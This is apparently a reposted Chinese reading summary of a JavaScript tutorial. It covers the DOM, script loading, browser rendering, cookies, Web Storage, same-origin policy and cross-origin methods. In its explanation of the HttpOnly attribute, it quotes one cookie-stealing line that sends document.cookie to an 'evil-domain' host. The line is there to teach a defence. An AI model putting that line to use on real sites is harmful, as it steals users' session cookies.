javascript
JavaScript 标准参考教程-阅读总结(三)
1、DOM模型
DOM 是 JavaScript 操作網頁的接口,全稱為“文檔對象模型”(Document Object Model)。它的作用是將網頁轉為一個 JavaScript 對象,從而可以用腳本進行各種操作(比如增刪內容)。
1)document對象
document對象是文檔的根節點,每張網頁都有自己的document對象。window.document屬性就指向這個對象。只要瀏覽器開始載入 HTML 文檔,該對象就存在了,可以直接使用。
document.doctype:對于 HTML 文檔來說,document對象一般有兩個子節點。第一個子節點是document.doctype,指向<DOCTYPE>節點,即文檔類型(Document Type Declaration,簡寫DTD)節點。HTML 的文檔類型節點,一般寫成<!DOCTYPE html>。
document.documentElement:document.documentElement屬性返回當前文檔的根節點(root)。它通常是document節點的第二個子節點,緊跟在document.doctype節點后面。HTML網頁的該屬性,一般是<html>節點。
document.body,document.head:document.body屬性指向<body>節點,document.head屬性指向<head>節點。
document.domain:document.domain屬性返回當前文檔的域名,不包含協議和接口。比如,網頁的網址是http://www.example.com:80/hello.html,那么domain屬性就等于www.example.com。如果無法獲取域名,該屬性返回null。
document.title:document.title屬性返回當前文檔的標題。默認情況下,返回<title>節點的值。但是該屬性是可寫的,一旦被修改,就返回修改后的值。
document.write():document.write方法用于向當前文檔寫入內容。它是JavaScript語言標準化之前就存在的方法,現在完全有更符合標準的方法向文檔寫入內容(比如對innerHTML屬性賦值)。所以,除了某些特殊情況,應該盡量避免使用document.write這個方法。
1)Element對象
Element對象對應網頁的 HTML 元素。每一個 HTML 元素,在 DOM 樹上都會轉化成一個Element節點對象。
Element.tagName:返回指定元素的大寫標簽名。
網頁元素可以自定義data-屬性,用來添加數據。Element.dataset屬性返回一個對象,可以從這個對象讀寫data-屬性。注意,dataset上面的各個屬性返回都是字符串。
// <span id="myspan" data-project-index="1" data-test='123'>Hello</span> var myspan = document.getElementById('myspan');myspan.dataset.timestamp = new Date().getTime(); console.log(myspan.dataset.projectIndex, myspan.dataset.test); // 1 123 console.log(myspan.getAttribute('data-project-index')); // 1
除了使用dataset讀寫data-屬性,也可以使用Element.getAttribute()和Element.setAttribute(),通過完整的屬性名讀寫這些屬性。
?
2、瀏覽器對象模型(BOM)
1)概述
1.1)script標簽
a)工作原理
瀏覽器加載JavaScript腳本,主要通過<script>標簽完成。正常的網頁加載流程是這樣的。
- 瀏覽器一邊下載HTML網頁,一邊開始解析
- 解析過程中,發現<script>標簽
- 暫停解析,網頁渲染的控制權轉交給JavaScript引擎
- 如果<script>標簽引用了外部腳本,就下載該腳本,否則就直接執行
- 執行完畢,控制權交還渲染引擎,恢復往下解析HTML網頁
加載外部腳本時,瀏覽器會暫停頁面渲染,等待腳本下載并執行完成后,再繼續渲染。原因是JavaScript可以修改DOM(比如使用document.write方法),所以必須把控制權讓給它,否則會導致復雜的線程競賽的問題。
如果外部腳本加載時間很長(比如一直無法完成下載),就會造成網頁長時間失去響應,瀏覽器就會呈現“假死”狀態,這被稱為“阻塞效應”。為了避免這種情況,較好的做法是將<script>標簽都放在頁面底部,而不是頭部。這樣即使遇到腳本失去響應,網頁主體的渲染也已經完成了,用戶至少可以看到內容,而不是面對一張空白的頁面。如果某些腳本代碼非常重要,一定要放在頁面頭部的話,最好直接將代碼嵌入頁面,而不是連接外部腳本文件,這樣能縮短加載時間。
將腳本文件都放在網頁尾部加載,還有一個好處。在DOM結構生成之前就調用DOM,JavaScript會報錯,如果腳本都在網頁尾部加載,就不存在這個問題,因為這時DOM肯定已經生成了。
<html lang="en"> <head><!--...--><script>// console.log(document.body); // null/*document.addEventListener('DOMContentLoaded',function(){console.log(document.body); // <body>...</body>})*//*window.onload = function() {console.log(document.body); // <body>...</body> }*/</script> </head> <body><script>console.log(document.body); // <body>...</body></script> </body> </html>如果有多個script標簽,比如下面這樣。
<script src="a.js"></script> <script src="b.js"></script>瀏覽器會同時并行下載a.js和b.js,但是,執行時會保證先執行a.js,然后再執行b.js,即使后者先下載完成,也是如此。也就是說,腳本的執行順序由它們在頁面中的出現順序決定,這是為了保證腳本之間的依賴關系不受到破壞。當然,加載這兩個腳本都會產生“阻塞效應”,必須等到它們都加載完成,瀏覽器才會繼續頁面渲染。
b)defer屬性
為了解決腳本文件下載阻塞網頁渲染的問題,一個方法是加入defer屬性。
<script src="a.js" defer></script> <script src="b.js" defer></script>上面代碼中,只有等到DOM加載完成后,才會執行a.js和b.js。
defer的運行流程如下:
- 瀏覽器開始解析HTML網頁
- 解析過程中,發現帶有defer屬性的script標簽
- 瀏覽器繼續往下解析HTML網頁,同時并行下載script標簽中的外部腳本
- 瀏覽器完成解析HTML網頁,此時再執行下載的腳本
有了defer屬性,瀏覽器下載腳本文件的時候,不會阻塞頁面渲染。下載的腳本文件在DOMContentLoaded事件觸發前執行(即剛剛讀取完</html>標簽),而且可以保證執行順序就是它們在頁面上出現的順序。對于內置而不是加載外部腳本的script標簽,以及動態生成的script標簽,defer屬性不起作用。另外,使用defer加載的外部腳本不應該使用document.write方法。
c)async屬性
解決“阻塞效應”的另一個方法是加入async屬性。
<script src="a.js" async></script> <script src="b.js" async></script>async屬性的作用是,使用另一個進程下載腳本,下載時不會阻塞渲染。
- 瀏覽器開始解析HTML網頁
- 解析過程中,發現帶有async屬性的script標簽
- 瀏覽器繼續往下解析HTML網頁,同時并行下載script標簽中的外部腳本
- 腳本下載完成,瀏覽器暫停解析HTML網頁,開始執行下載的腳本
- 腳本執行完畢,瀏覽器恢復解析HTML網頁
async屬性可以保證腳本下載的同時,瀏覽器繼續渲染。需要注意的是,一旦采用這個屬性,就無法保證腳本的執行順序。哪個腳本先下載結束,就先執行那個腳本。另外,使用async屬性的腳本文件中,不應該使用document.write方法。
defer屬性和async屬性到底應該使用哪一個?一般來說,如果腳本之間沒有依賴關系,就使用async屬性,如果腳本之間有依賴關系,就使用defer屬性。如果同時使用async和defer屬性,后者不起作用,瀏覽器行為由async屬性決定。
1.2)瀏覽器的組成
瀏覽器的核心是兩部分:渲染引擎和JavaScript解釋器(又稱JavaScript引擎)。
a)渲染引擎
渲染引擎的主要作用是,將網頁代碼渲染為用戶視覺可以感知的平面文檔。不同的瀏覽器有不同的渲染引擎。
渲染引擎處理網頁,通常分成四個階段。
- 解析代碼:HTML代碼解析為DOM,CSS代碼解析為CSSOM(CSS Object Model)
- 對象合成:將DOM和CSSOM合成一棵渲染樹(render tree)
- 布局:計算出渲染樹的布局(layout)
- 繪制:將渲染樹繪制到屏幕
以上四步并非嚴格按順序執行,往往第一步還沒完成,第二步和第三步就已經開始了。所以,會看到這種情況:網頁的HTML代碼還沒下載完,但瀏覽器已經顯示出內容了。
b)重流和重繪
渲染樹轉換為網頁布局,稱為“布局流”;布局顯示到頁面的這個過程,稱為“繪制”。它們都具有阻塞效應,并且會耗費很多時間和計算資源。
頁面生成以后,腳本操作和樣式表操作,都會觸發重流和重繪。用戶的互動,也會觸發,比如設置了鼠標懸停(a:hover)效果、頁面滾動、在輸入框中輸入文本、改變窗口大小等等。重流和重繪并不一定一起發生,重流必然導致重繪,重繪不一定需要重流。比如改變元素顏色,只會導致重繪,而不會導致重流;改變元素的布局,則會導致重繪和重流。大多數情況下,瀏覽器會智能判斷,將重流和重繪只限制到相關的子樹上面,最小化所耗費的代價,而不會全局重新生成網頁。
作為開發者,應該盡量設法降低重繪的次數和成本。比如,盡量不要變動高層的DOM元素,而以底層DOM元素的變動代替;再比如,重繪table布局和flex布局,開銷都會比較大。
優化技巧。
- 讀取DOM或者寫入DOM,盡量寫在一起,不要混雜
- 緩存DOM信息
- 不要一項一項地改變樣式,而是使用CSS class一次性改變樣式
- 使用document fragment操作DOM
- 動畫時使用absolute定位或fixed定位,這樣可以減少對其他元素的影響
- 只在必要時才顯示元素
- 使用window.requestAnimationFrame(),因為它可以把代碼推遲到下一次重流時執行,而不是立即要求頁面重流
- 使用虛擬DOM(virtual DOM)庫
c)JavaScript引擎
JavaScript引擎的主要作用是,讀取網頁中的JavaScript代碼,對其處理后運行。
JavaScript是一種解釋型語言,也就是說,它不需要編譯,由解釋器實時運行。這樣的好處是運行和修改都比較方便,刷新頁面就可以重新解釋;缺點是每次運行都要調用解釋器,系統開銷較大,運行速度慢于編譯型語言。為了提高運行速度,目前的瀏覽器都將JavaScript進行一定程度的編譯,生成類似字節碼的中間代碼,以提高運行速度。
?
2)window對象
在瀏覽器中,window對象指當前的瀏覽器窗口。它也是所有對象的頂層對象。
“頂層對象”指的是最高一層的對象,所有其他對象都是它的下屬。JavaScript規定,瀏覽器環境的所有全局變量,都是window對象的屬性。
2.1)URL的編碼/解碼方法
網頁URL的合法字符分成兩類。
- URL元字符:分號(;),逗號(’,’),斜杠(/),問號(?),冒號(:),at(@),&,等號(=),加號(+),美元符號($),井號(#)
- 語義字符:a-z,A-Z,0-9,連詞號(-),下劃線(_),點(.),感嘆號(!),波浪線(~),星號(*),單引號(\),圓括號(()`)
除了以上字符,其他字符出現在URL之中都必須轉義,規則是根據操作系統的默認編碼,將每個字節轉為百分號(%)加上兩個大寫的十六進制字母。
JavaScript提供四個URL的編碼/解碼方法:encodeURI()、encodeURIComponent()、decodeURI()、decodeURIComponent()。
encodeURI?方法的參數是一個字符串,代表整個URL。它會將元字符和語義字符之外的字符,都進行轉義;encodeURIComponent只轉除了語義字符之外的字符,元字符也會被轉義。因此,它的參數通常是URL的路徑或參數值,而不是整個URL。
encodeURI('http://www.example.com/q=春節') // "http://www.example.com/q=%E6%98%A5%E8%8A%82" encodeURIComponent('http://www.example.com/q=春節') // "http%3A%2F%2Fwww.example.com%2Fq%3D%E6%98%A5%E8%8A%82"上面代碼中,encodeURIComponent會連URL元字符一起轉義,所以通常只用它轉URL的片段。
decodeURI用于還原轉義后的URL,它是encodeURI方法的逆運算;decodeURIComponent用于還原轉義后的URL片段,它是encodeURIComponent方法的逆運算。
2.2)window.location
window.location返回一個location對象,用于獲取窗口當前的URL信息。它等同于document.location對象
3)history對象
瀏覽器窗口有一個history對象,用來保存瀏覽歷史。
history對象提供了一系列方法,允許在瀏覽歷史之間移動。
- back():移動到上一個訪問頁面,等同于瀏覽器的后退鍵。
- forward():移動到下一個訪問頁面,等同于瀏覽器的前進鍵。
- go():接受一個整數作為參數,移動到該整數指定的頁面,比如go(1)相當于forward(),go(-1)相當于back()。
如果移動的位置超出了訪問歷史的邊界,以上三個方法并不報錯,而是默默的失敗。history.go(0)相當于刷新當前頁面。注意,返回上一頁時,頁面通常是從瀏覽器緩存之中加載,而不是重新要求服務器發送新的網頁。
?
4)Cookie
4.1)概述
Cookie 是服務器保存在瀏覽器的一小段文本信息,每個 Cookie 的大小一般不能超過4KB。瀏覽器每次向服務器發出請求,就會自動附上這段信息。Cookie 主要用來分辨兩個請求是否來自同一個瀏覽器,以及用來保存一些狀態信息。它的常用場合有以下一些。
- 對話(session)管理:保存登錄、購物車等需要記錄的信息。
- 個性化:保存用戶的偏好,比如網頁的字體大小、背景色等等。
- 追蹤:記錄和分析用戶行為。
有些開發者使用 Cookie 作為客戶端儲存。這樣做雖然可行,但是并不推薦,因為 Cookie 的設計目標并不是這個,它的容量很小(4KB),缺乏數據操作接口,而且會影響性能。客戶端儲存應該使用 Web storage API 和 IndexedDB。
Cookie 包含以下幾方面的信息:Cookie 的名字、Cookie 的值、到期時間、所屬域名(默認是當前域名)、生效的路徑(默認是當前網址)。
舉例來說,用戶訪問網址www.example.com,服務器在瀏覽器寫入一個 Cookie。這個 Cookie 就會包含www.example.com這個域名,以及根路徑/。這意味著,這個 Cookie 對該域名的根路徑和它的所有子路徑都有效。如果路徑設為/forums,那么這個 Cookie 只有在訪問www.example.com/forums及其子路徑時才有效。以后,瀏覽器一旦訪問這個路徑,瀏覽器就會附上這段 Cookie 發送給服務器。
document.cookie屬性返回當前網頁的 Cookie。瀏覽器的同源政策規定,兩個網址只要域名相同和端口相同,就可以共享 Cookie。注意,這里不要求協議相同。也就是說,http://example.com設置的 Cookie,可以被https://example.com讀取。
4.2)Cookie 與 HTTP 協議
a)HTTP 回應:Cookie 的生成
Cookie 由 HTTP 協議生成,也主要是供 HTTP 協議使用。服務器如果希望在瀏覽器保存 Cookie,就要在 HTTP 回應的頭信息里面,放置一個Set-Cookie字段。
Set-Cookie:foo=bar上面代碼會在瀏覽器保存一個名為foo的 Cookie,它的值為bar。
b)HTTP 請求:Cookie 的發送
瀏覽器向服務器發送 HTTP 請求時,每個請求都會帶上相應的 Cookie。也就是說,把服務器早前保存在瀏覽器的這段信息,再發回服務器。這時要使用 HTTP 頭信息的Cookie字段。
Cookie: foo=bar上面代碼會向服務器發送名為foo的 Cookie,值為bar。Cookie字段可以包含多個 Cookie,使用分號(;)分隔。
Cookie: name=value; name2=value2; name3=value34.3)Cookie 的屬性
a)Expires,Max-Age
Expires屬性指定一個具體的到期時間,到了指定時間以后,瀏覽器就不再保留這個 Cookie。如果不設置該屬性,或者設為null,Cookie 只在當前會話(session)有效,瀏覽器窗口一旦關閉,當前 Session 結束,該 Cookie 就會被刪除。另外,瀏覽器根據本地時間,決定 Cookie 是否過期,由于本地時間是不精確的,所以沒有辦法保證 Cookie 一定會在服務器指定的時間過期。
Max-Age屬性指定從現在開始 Cookie 存在的秒數,比如60 * 60 * 24 * 365(即一年)。過了這個時間以后,瀏覽器就不再保留這個 Cookie。如果同時指定了Expires和Max-Age,那么Max-Age的值將優先生效。
如果Set-Cookie字段沒有指定Expires或Max-Age屬性,那么這個 Cookie 就是 Session Cookie,即它只在本次對話存在,一旦用戶關閉瀏覽器,瀏覽器就不會再保留這個 Cookie。
b)Domain,Path
Domain屬性指定瀏覽器發出 HTTP 請求時,哪些域名要附帶這個 Cookie。如果沒有指定該屬性,瀏覽器會默認將其設為當前 URL 的一級域名,比如www.example.com會設為example.com,而且以后如果訪問example.com的任何子域名,HTTP 請求也會帶上這個 Cookie。如果服務器在Set-Cookie字段指定的域名,不屬于當前域名,瀏覽器會拒絕這個 Cookie。
Path屬性指定瀏覽器發出 HTTP 請求時,哪些路徑要附帶這個 Cookie。只要瀏覽器發現,Path屬性是 HTTP 請求路徑的開頭一部分,就會在頭信息里面帶上這個 Cookie。比如,PATH屬性是/,那么請求/docs路徑也會包含該 Cookie。當然,前提是域名必須一致。
c)Secure,HttpOnly
Secure屬性指定瀏覽器只有在加密協議 HTTPS 下,才能將這個 Cookie 發送到服務器。另一方面,如果當前協議是 HTTP,瀏覽器會自動忽略服務器發來的Secure屬性。該屬性只是一個開關,不需要指定值。如果通信是 HTTPS 協議,該開關自動打開。
HttpOnly屬性指定該 Cookie 無法通過 JavaScript 腳本拿到,主要是Document.cookie屬性、XMLHttpRequest對象和 Request API 都拿不到該屬性。這樣就防止了該 Cookie 被腳本讀到,只有瀏覽器發出 HTTP 請求時,才會帶上該 Cookie。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;上面是跨站點載入的一個惡意腳本的代碼,能夠將當前網頁的 Cookie 發往第三方服務器。如果設置了一個 Cookie 的HttpOnly屬性,上面代碼就不會讀到該 Cookie。
4.4)document.cookie
document.cookie屬性用于讀寫當前網頁的 Cookie。讀取的時候,它會返回當前網頁的所有 Cookie,前提是該 Cookie 不能有HTTPOnly屬性。
document.cookie // "foo=bar;baz=bar"上面代碼從document.cookie一次性讀出兩個 Cookie,它們之間使用分號分隔。必須手動還原,才能取出每一個 Cookie 的值。
var cookies = document.cookie.split(';'); for (var i = 0; i < cookies.length; i++) {console.log(cookies[i]); } // foo=bar // baz=bardocument.cookie屬性是可寫的,可以通過它為當前網站添加 Cookie。
document.cookie = 'fontSize=14';寫入的時候,Cookie 的值必須寫成key=value的形式。document.cookie一次只能寫入一個 Cookie。
?
5)Web Storage:瀏覽器端數據儲存機制
這個API的作用是,使得網頁可以在瀏覽器端儲存數據。它分成兩類:sessionStorage和localStorage。sessionStorage保存的數據用于瀏覽器的一次會話,當會話結束(通常是該窗口關閉),數據被清空;localStorage保存的數據長期存在,下一次訪問該網站的時候,網頁可以直接讀取以前保存的數據。除了保存期限的長短不同,這兩個對象的屬性和方法完全一樣。與Cookie一樣,它們也受同域限制。某個網頁存入的數據,只有同域下的網頁才能讀取。
6)同源政策
同源政策最初的含義是指,A 網頁設置的 Cookie,B 網頁不能打開,除非這兩個網頁“同源”。所謂“同源”指的是”三個相同“:協議相同、域名相同、端口相同。
同源政策的目的,是為了保證用戶信息的安全,防止惡意的網站竊取數據。
6.1)Cookie
Cookie 是服務器寫入瀏覽器的一小段信息,只有同源的網頁才能共享。如果兩個網頁一級域名相同,只是次級域名不同,瀏覽器允許通過設置document.domain共享 Cookie。
舉例來說,A 網頁的網址是http://w1.example.com/a.html,B 網頁的網址是http://w2.example.com/b.html,那么只要設置相同的document.domain,兩個網頁就可以共享 Cookie。因為瀏覽器通過document.domain屬性來檢查是否同源。
// 兩個網頁都需要設置 document.domain = 'example.com';注意,A 和 B 兩個網頁都需要設置document.domain屬性,才能達到同源的目的。因為設置document.domain的同時,會把端口重置為null,因此如果只設置一個網頁的document.domain,會導致兩個網址的端口不同,還是達不到同源的目的。
另外,服務器也可以在設置 Cookie 的時候,指定 Cookie 的所屬域名為一級域名,比如.example.com。這樣的話,二級域名和三級域名不用做任何設置,都可以讀取這個 Cookie。
Set-Cookie: key=value; domain=.example.com; path=/6.2)AJAX
同源政策規定,AJAX 請求只能發給同源的網址,否則就報錯。除了架設服務器代理(瀏覽器請求同源服務器,再由后者請求外部服務),有三種方法規避這個限制:JSONP、WebSocket、CORS。
a)JSONP
JSONP 是服務器與客戶端跨源通信的常用方法。最大特點就是簡單適用,老式瀏覽器全部支持,服務端改造非常小。它的基本思想是,網頁通過添加一個<script>元素,向服務器請求 JSON 數據,這種做法不受同源政策限制;服務器收到請求后,將數據放在一個指定名字的回調函數里傳回來。
function addScriptTag(src) {var script = document.createElement('script');script.src = src;document.body.appendChild(script); } window.onload = function () {//addScriptTag('https://xxx/xxx.do?callback=foo');addScriptTag('https://xxx/xxx.do?jsonp=foo'); }function foo(data) {console.log(data); };上面代碼通過動態添加<script>元素,向服務器發出請求(https://xxx/xxx.do)。注意,該請求的查詢字符串有一個callback或jsonp參數,用來指定回調函數的名字,這對于 JSONP 是必需的。服務器收到這個請求以后,會將數據放在回調函數的參數位置返回。由于<script>元素請求的腳本,直接作為代碼運行。這時,只要瀏覽器定義了foo函數,該函數就會立即調用(未定義會報錯)。
b)WebSocket
WebSocket 是一種通信協議,使用ws://(非加密)和wss://(加密)作為協議前綴。該協議不實行同源政策,只要服務器支持,就可以通過它進行跨源通信。
下面是一個例子,瀏覽器發出的 WebSocket 請求的頭信息
GET /chat HTTP/1.1 Host: server.example.com Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw== Sec-WebSocket-Protocol: chat, superchat Sec-WebSocket-Version: 13 Origin: http://example.com上面代碼中,有一個字段是Origin,表示該請求的請求源,即發自哪個域名。正是因為有了Origin這個字段,所以 WebSocket 才沒有實行同源政策。因為服務器可以根據這個字段,判斷是否許可本次通信。如果該域名在白名單內,服務器就會做出回應。
c)CORS
CORS 是跨源資源分享(Cross-Origin Resource Sharing)的縮寫。它是 W3C 標準,屬于跨源 AJAX 請求的根本解決方法。相比 JSONP 只能發GET請求,CORS 允許任何類型的請求。
?
7)AJAX
轉載于:https://www.cnblogs.com/colorful-coco/p/8919321.html
總結
以上是生活随笔為你收集整理的JavaScript 标准参考教程-阅读总结(三)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: mac mysql安装失败_Mac my
- 下一篇: 经典扫雷游戏Web版